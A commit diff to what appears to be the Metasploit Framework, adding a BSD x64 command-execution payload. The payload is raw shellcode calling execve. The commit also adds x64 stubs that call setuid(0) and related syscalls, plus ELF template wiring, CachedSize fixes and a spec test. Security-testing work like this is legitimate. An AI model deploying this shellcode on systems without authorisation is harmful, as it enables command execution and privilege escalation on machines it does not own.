Implement x64 BSD exec and exe template.
- Fixes bug in CachedSize due to all options being set - Adds new payload to payload_spec.bug/bundler_fix
parent
e8e7a2a67a
commit
2d3614f647
Binary file not shown.
|
@ -23,49 +23,49 @@ module Msf::Payload::Bsd
|
|||
[
|
||||
false,
|
||||
"Prepend a stub that executes the setresuid(0, 0, 0) system call",
|
||||
"false"
|
||||
false
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetreuid',
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes the setreuid(0, 0) system call",
|
||||
"false"
|
||||
false
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetuid',
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes the setuid(0) system call",
|
||||
"false"
|
||||
false
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetresgid',
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes the setresgid(0, 0, 0) system call",
|
||||
"false"
|
||||
false
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetregid',
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes the setregid(0, 0) system call",
|
||||
"false"
|
||||
false
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetgid',
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes the setgid(0) system call",
|
||||
"false"
|
||||
false
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('AppendExit',
|
||||
[
|
||||
false,
|
||||
"Append a stub that executes the exit(0) system call",
|
||||
"false"
|
||||
false
|
||||
]
|
||||
),
|
||||
], Msf::Payload::Bsd)
|
||||
|
@ -74,95 +74,157 @@ module Msf::Payload::Bsd
|
|||
end
|
||||
|
||||
|
||||
#
|
||||
# Overload the generate() call to prefix our stubs
|
||||
#
|
||||
def generate(*args)
|
||||
# Call the real generator to get the payload
|
||||
buf = super(*args)
|
||||
def apply_prepends(buf)
|
||||
test_arch = [ *(self.arch) ]
|
||||
pre = ''
|
||||
app = ''
|
||||
|
||||
test_arch = [ *(self.arch) ]
|
||||
|
||||
# Handle all x86 code here
|
||||
if (test_arch.include?(ARCH_X86))
|
||||
|
||||
# Prepend
|
||||
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetreuid'])
|
||||
# setreuid(0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x7e" +# movb $0x7e,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetuid'])
|
||||
# setuid(0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x17" +# movb $0x17,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresgid'])
|
||||
# setresgid(0, 0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetregid'])
|
||||
# setregid(0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x7f" +# movb $0x7f,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetgid'])
|
||||
# setgid(0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\xb5" +# movb $0xb5,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
# Append
|
||||
|
||||
if (datastore['AppendExit'])
|
||||
# exit(0)
|
||||
app << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x01" +# movb $0x01,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
handle_x86_bsd_opts(pre, app)
|
||||
elsif (test_arch.include?(ARCH_X86_64))
|
||||
handle_x64_bsd_opts(pre, app)
|
||||
end
|
||||
|
||||
return (pre + buf + app)
|
||||
pre + buf + app
|
||||
end
|
||||
|
||||
def handle_x86_bsd_opts(pre, app)
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetreuid'])
|
||||
# setreuid(0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x7e" +# movb $0x7e,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetuid'])
|
||||
# setuid(0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x17" +# movb $0x17,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresgid'])
|
||||
# setresgid(0, 0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetregid'])
|
||||
# setregid(0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x7f" +# movb $0x7f,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetgid'])
|
||||
# setgid(0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\xb5" +# movb $0xb5,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['AppendExit'])
|
||||
# exit(0)
|
||||
app << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x01" +# movb $0x01,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
end
|
||||
|
||||
def handle_x64_bsd_opts(pre, app)
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
pre << "\x48\x31\xc0" +# xor rax, rax
|
||||
"\x48\x83\xc8\x4d" +# or rax, 77 (setgid=311>>2=77)
|
||||
"\x48\xc1\xe0\x02" +# shl rax, 2
|
||||
"\x48\x83\xf0\x03" +# xor rax, 3 (311&3=3)
|
||||
"\x48\x31\xff" +# xor rdi, rdi 0
|
||||
"\x48\x31\xf6" +# xor rsi, rsi 0
|
||||
"\x48\x31\xd2" +# xor rdx, rdx 0
|
||||
"\x0f\x05" # syscall
|
||||
end
|
||||
|
||||
if (datastore['PrependSetreuid'])
|
||||
# setreuid(0, 0)
|
||||
pre << "\x48\x31\xc0" +# xor rax, rax
|
||||
"\x48\x83\xc8\x7e" +# or rax, 126 (setreuid=126)
|
||||
"\x48\x31\xff" +# xor rdi, rdi 0
|
||||
"\x48\x31\xf6" +# xor rsi, rsi 0
|
||||
"\x0f\x05" # syscall
|
||||
end
|
||||
|
||||
if (datastore['PrependSetuid'])
|
||||
# setuid(0)
|
||||
pre << "\x48\x31\xc0" +# xor rax, rax
|
||||
"\x48\x83\xc8\x17" +# or rax, 23 (setuid=23)
|
||||
"\x48\x31\xff" +# xor rdi, rdi 0
|
||||
"\x0f\x05" # syscall
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresgid'])
|
||||
# setresgid(0, 0, 0)
|
||||
pre << "\x48\x31\xc0" +# xor rax, rax
|
||||
"\x48\x83\xc8\x4e" +# or rax, 78 (setgid=312>>2=78)
|
||||
"\x48\xc1\xe0\x02" +# shl rax, 2 (78<<2=312)
|
||||
"\x48\x31\xff" +# xor rdi, rdi 0
|
||||
"\x48\x31\xf6" +# xor rsi, rsi 0
|
||||
"\x48\x31\xd2" +# xor rdx, rdx 0
|
||||
"\x0f\x05" # syscall
|
||||
end
|
||||
|
||||
if (datastore['PrependSetregid'])
|
||||
# setregid(0, 0)
|
||||
pre << "\x48\x31\xc0" +# xor rax, rax
|
||||
"\x48\x83\xc8\x7f" +# or rax, 127 (setuid=127)
|
||||
"\x48\x31\xff" +# xor rdi, rdi 0
|
||||
"\x48\x31\xf6" +# xor rsi, rsi 0
|
||||
"\x0f\x05" # syscall
|
||||
end
|
||||
|
||||
if (datastore['PrependSetgid'])
|
||||
# setgid(0)
|
||||
pre << "\x48\x31\xc0" +# xor rax, rax
|
||||
"\x48\x83\xc8\x5a" +# or rax, 90 (setgid=181>>1=90)
|
||||
"\x48\xd1\xe0" +# shl rax, 1
|
||||
"\x48\x83\xc8\x01" +# or rax, 1 (setgid=181&1=1)
|
||||
"\x48\x31\xff" +# xor rdi, rdi 0
|
||||
"\x0f\x05" # syscall
|
||||
end
|
||||
|
||||
if (datastore['AppendExit'])
|
||||
# exit(0)
|
||||
app << "\x48\x31\xc0" +# xor rax, rax
|
||||
"\x48\x83\xc8\x01" +# or rax, 1 (exit=1)
|
||||
"\x48\x31\xff" +# xor rdi, rdi 0
|
||||
"\x0f\x05" # syscall
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -111,6 +111,10 @@ require 'msf/core/exe/segment_appender'
|
|||
if plat.index(Msf::Module::Platform::OSX)
|
||||
return to_osx_x64_macho(framework, code)
|
||||
end
|
||||
|
||||
if plat.index(Msf::Module::Platform::BSD)
|
||||
return to_bsd_x64_elf(framework, code)
|
||||
end
|
||||
end
|
||||
|
||||
if arch.index(ARCH_ARMLE)
|
||||
|
@ -891,6 +895,11 @@ require 'msf/core/exe/segment_appender'
|
|||
to_exe_elf(framework, opts, "template_x86_bsd.bin", code)
|
||||
end
|
||||
|
||||
# Create a 64-bit Linux ELF containing the payload provided in +code+
|
||||
def self.to_bsd_x64_elf(framework, code, opts = {})
|
||||
to_exe_elf(framework, opts, "template_x64_bsd.bin", code)
|
||||
end
|
||||
|
||||
# Create a 32-bit Solaris ELF containing the payload provided in +code+
|
||||
def self.to_solaris_x86_elf(framework, code, opts = {})
|
||||
to_exe_elf(framework, opts, "template_x86_solaris.bin", code)
|
||||
|
@ -1870,10 +1879,8 @@ require 'msf/core/exe/segment_appender'
|
|||
if !plat || plat.index(Msf::Module::Platform::Linux)
|
||||
case arch
|
||||
when ARCH_X86,nil
|
||||
to_linux_x86_elf(framework, code, exeopts)
|
||||
when ARCH_X86_64
|
||||
to_linux_x64_elf(framework, code, exeopts)
|
||||
when ARCH_X64
|
||||
to_linux_x86_elf(framework, code, exeopts)
|
||||
when ARCH_X86_64, ARCH_X64
|
||||
to_linux_x64_elf(framework, code, exeopts)
|
||||
when ARCH_ARMLE
|
||||
to_linux_armle_elf(framework, code, exeopts)
|
||||
|
@ -1886,6 +1893,8 @@ to_linux_x86_elf(framework, code, exeopts)
|
|||
case arch
|
||||
when ARCH_X86,nil
|
||||
Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)
|
||||
when ARCH_X86_64, ARCH_X64
|
||||
Msf::Util::EXE.to_bsd_x64_elf(framework, code, exeopts)
|
||||
end
|
||||
elsif plat && plat.index(Msf::Module::Platform::Solaris)
|
||||
case arch
|
||||
|
@ -1896,9 +1905,7 @@ to_linux_x86_elf(framework, code, exeopts)
|
|||
when 'elf-so'
|
||||
if !plat || plat.index(Msf::Module::Platform::Linux)
|
||||
case arch
|
||||
when ARCH_X86_64
|
||||
to_linux_x64_elf_dll(framework, code, exeopts)
|
||||
when ARCH_X64
|
||||
when ARCH_X86_64, ARCH_X64
|
||||
to_linux_x64_elf_dll(framework, code, exeopts)
|
||||
end
|
||||
end
|
||||
|
@ -1906,9 +1913,7 @@ to_linux_x86_elf(framework, code, exeopts)
|
|||
macho = case arch
|
||||
when ARCH_X86,nil
|
||||
to_osx_x86_macho(framework, code, exeopts)
|
||||
when ARCH_X86_64
|
||||
to_osx_x64_macho(framework, code, exeopts)
|
||||
when ARCH_X64
|
||||
when ARCH_X86_64, ARCH_X64
|
||||
to_osx_x64_macho(framework, code, exeopts)
|
||||
when ARCH_ARMLE
|
||||
to_osx_arm_macho(framework, code, exeopts)
|
||||
|
|
|
@ -0,0 +1,75 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Exec
|
||||
# ----
|
||||
#
|
||||
# Executes an arbitrary command.
|
||||
#
|
||||
###
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 23
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Bsd
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'BSD x64 Execute Command',
|
||||
'Description' => 'Execute an arbitrary command',
|
||||
'Author' => 'joev',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'bsd',
|
||||
'Arch' => ARCH_X86_64))
|
||||
|
||||
# Register exec options
|
||||
register_options(
|
||||
[
|
||||
OptString.new('CMD', [ true, "The command string to execute" ]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Dynamically builds the exec payload based on the user's options.
|
||||
#
|
||||
def generate_stage
|
||||
cmd_str = datastore['CMD'] || ''
|
||||
# Split the cmd string into arg chunks
|
||||
cmd_parts = Shellwords.shellsplit(cmd_str)
|
||||
cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
|
||||
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
|
||||
call = "\xe8" + [arg_str.length].pack('V')
|
||||
payload =
|
||||
"\x48\x31\xd2"+ # xor rdx, rdx
|
||||
call + # call CMD.len
|
||||
arg_str + # CMD
|
||||
"\x5f" + # pop rdi
|
||||
if cmd_parts.length > 1
|
||||
"\x48\x89\xf9" + # mov rcx, rdi
|
||||
"\x52" + # push rdx (null)
|
||||
# for each arg, push its current memory location on to the stack
|
||||
cmd_parts[1..-1].each_with_index.map do |arg, idx|
|
||||
"\x48\x81\xc1" + # add rcx + ...
|
||||
[cmd_parts[idx].length+1].pack('V') + #
|
||||
"\x51" # push rcx (build str array)
|
||||
end.join
|
||||
else
|
||||
"\x52" # push rdx (null)
|
||||
end +
|
||||
"\x57"+ # push rdi
|
||||
"\x48\x89\xe6"+ # mov rsi, rsp
|
||||
"\x48\x31\xc0"+ # xor rax, rax
|
||||
"\x48\x83\xc8\x3b" + # or rax, 0x3b (execve)
|
||||
"\x0f\x05" # syscall
|
||||
end
|
||||
|
||||
end
|
|
@ -17,7 +17,7 @@ require 'msf/core'
|
|||
###
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 107
|
||||
CachedSize = 42
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Bsd
|
||||
|
@ -42,7 +42,7 @@ module Metasploit3
|
|||
# Dynamically builds the exec payload based on the user's options.
|
||||
#
|
||||
def generate_stage
|
||||
cmd = datastore['CMD'] || ''
|
||||
cmd = datastore['CMD'] || ''
|
||||
asm = <<-EOS
|
||||
;;
|
||||
;
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_options'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 65
|
||||
CachedSize = 0
|
||||
|
||||
include Msf::Payload::Bsd
|
||||
include Msf::Payload::Single
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_options'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 65
|
||||
CachedSize = 0
|
||||
|
||||
include Msf::Payload::Bsd
|
||||
include Msf::Payload::Single
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 138
|
||||
CachedSize = 73
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Bsd
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 152
|
||||
CachedSize = 87
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Bsd
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 125
|
||||
CachedSize = 60
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Bsd
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 135
|
||||
CachedSize = 70
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Bsd
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 129
|
||||
CachedSize = 64
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Bsd
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 161
|
||||
CachedSize = 96
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Bsd
|
||||
|
|
|
@ -276,6 +276,16 @@ describe 'modules/payloads', :content do
|
|||
reference_name: 'bsd/x86/shell_reverse_tcp_ipv6'
|
||||
end
|
||||
|
||||
context 'bsd/x64/exec' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'singles/bsd/x64/exec'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'bsd/x64/exec'
|
||||
end
|
||||
|
||||
context 'bsdi/x86/shell/bind_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
|
Loading…
Reference in New Issue